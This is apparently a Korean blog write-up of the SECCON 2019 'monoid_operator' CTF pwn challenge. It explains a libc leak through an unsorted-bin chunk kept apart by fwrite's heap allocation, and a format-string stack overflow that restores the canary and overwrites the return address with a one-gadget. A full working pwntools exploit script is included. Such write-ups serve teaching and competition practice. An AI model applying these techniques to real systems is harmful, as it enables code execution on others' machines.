seccon 2019 monoid_operator
시작하자마자 어떤 연산을 원하냐고 물어본다.
먼저 분석을 진행해보자.
operator
를 입력받는다. 리턴 값을 검사하여 오류를 발견하면 _exit(1)
를 호출한다.
operator
를 입력받은 뒤 분기한다.
+, ^, *
가 있는데 난 +
만 분석을 진행했다.
사용자에게 operator
를 입력받고, 피연산자들을 입력받는데 이는 heap
메모리에서 관리된다.
해당 주소는 ptr
변수가 가지고 있으며 이를 참조하여 v17
에 값을 더해간다.
만약 __CFADD__
의 결과로 1
이 리턴되면 이를 감지하여 fwrite
후, free
를 진행한다.
여기서,
__CFADD__
란CARRY_FLAG_ADD
로 봐도 무방하다. 즉, 올림수를 리턴값으로 받는다. (cf flag 셋팅)
그 후, LABEL_2
로 돌아간다.
overflow
가 나지 않았을 경우, 정답을 출력해주며 ptr
을 free
시킨다.
연산이 모두 끝난 후, name
과 feedback
을 입력받는데, feedback
을 입력받고 sprintf
를 하는 과정에서 포맷 스트링이 터진다.
이를 이용하여 stack overflow
를 일으킬 수 있겠다!
바이너리에 pie
가 걸려 있어 leak
을 진행해야 하는데 잘 보이지 않는다.
정상적인 operating
흐름은 다음과 같다.
xxxxxxxxxx
ptr = malloc(8LL * num);
free(ptr);
이를 통해 unsorted chunk
를 free
하여 libc
를 릭하고자 했지만 불가능했다.
top chunk
와 병합하기 때문이다.
이를 우회할 수 있다.
여기서 fwrite
의 동작을 유심히 보면, fwrite
는 출력한 값을 heap
에 할당한다.
이를 통해 unsorted chunk
를 top chunk
와 병합시키지 않을 수 있다.
xptr = malloc(8LL * num)
fwrite("Overflow is detected.\n", 1uLL, 0x16uLL, stderr);
free(ptr)
위와 같은 식이다 ㅎㅎ
이를 통해 main_arena
를 만들고 leak
하면 된다.
그 뒤 ld.so
와 libc
를 이용해서 cookie_ptr
을 계산하여 oneshot
으로 ret
을 덮으면 된다.
(물론 format string stack overflow
로 ^^..)
from pwn import *
#context.log_level= 'debug'
e = ELF('monoid_operator')
s = process(e.path)
#l = ELF('libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def wait_choose(p):
if getattr(p, 'choose', False):
setattr(p, 'choose', False)
return
p.recvuntil('What operator do you choose?\n')
def calc(p, op, values, count=None):
if count is None:
count = len(values)
wait_choose(p)
p.sendline(op)
p.recvuntil('How many integers do you input?\n')
p.sendline(str(count))
p.recvuntil('Input integers.\n')
p.sendline(' '.join(map(str, values)))
setattr(p, 'choose', False)
while True:
line = p.recvline()
if line.startswith(b'The answer is '):
return int(line[14:-2])
elif line.startswith(b'Overflow is detected.'):
return None
elif line.startswith(b'What operator do you choose?'):
setattr(p, 'choose', True)
assert calc(s, '+', [0xffffffffffffffff, 2] + ([0]*128)) is None
internal_ptr = calc(s, '+', [0, '-'] + [0]*128, count=130)
l_base = internal_ptr - 0x1e4ca0
log.info('l_base: {}'.format(hex(l_base)))
one = l_base + 0x106ef8
ldso_gap = 0x1e7000
cookie_offset = 0x5568
cookie_ptr = l_base + ldso_gap + cookie_offset # 0x1ec568
log.info('cookie_ptr: {}'.format(hex(cookie_ptr)))
log.info('one: {}'.format(hex(one)))
wait_choose(s)
sl('q')
sa('name?\n', 'krrr')
one = p64(one)
fmt = ''
fmt += '%1$1032c'
fmt += '%8$c' + '%82$.7s' # cookie
fmt += '%1$c'*8 # rbp
fmt += one[:-2] + '%8$c' + '%8$c' # rip
fmt += '%8$c' * 112
fmt += '\0'
fmt += '\xCC\xCC\xCC\xCC\xCC\xCC'
fmt += struct.pack('<Q', cookie_ptr + 1) # cookie starts with \00
sa('back!', fmt)
io()
ref
'system > writeup' 카테고리의 다른 글
2019 hack.lu tcalc (0) | 2019.11.01 |
---|---|
2018 hctf babyprintf_ver2 (0) | 2019.10.29 |
holyshield 2019 masked_calculator (0) | 2019.10.27 |
dvp 2019 monica's bank + dvp 해킹대회&컨퍼런스 후기 (0) | 2019.10.22 |
root-me mips stack buffer overflow (0) | 2019.08.12 |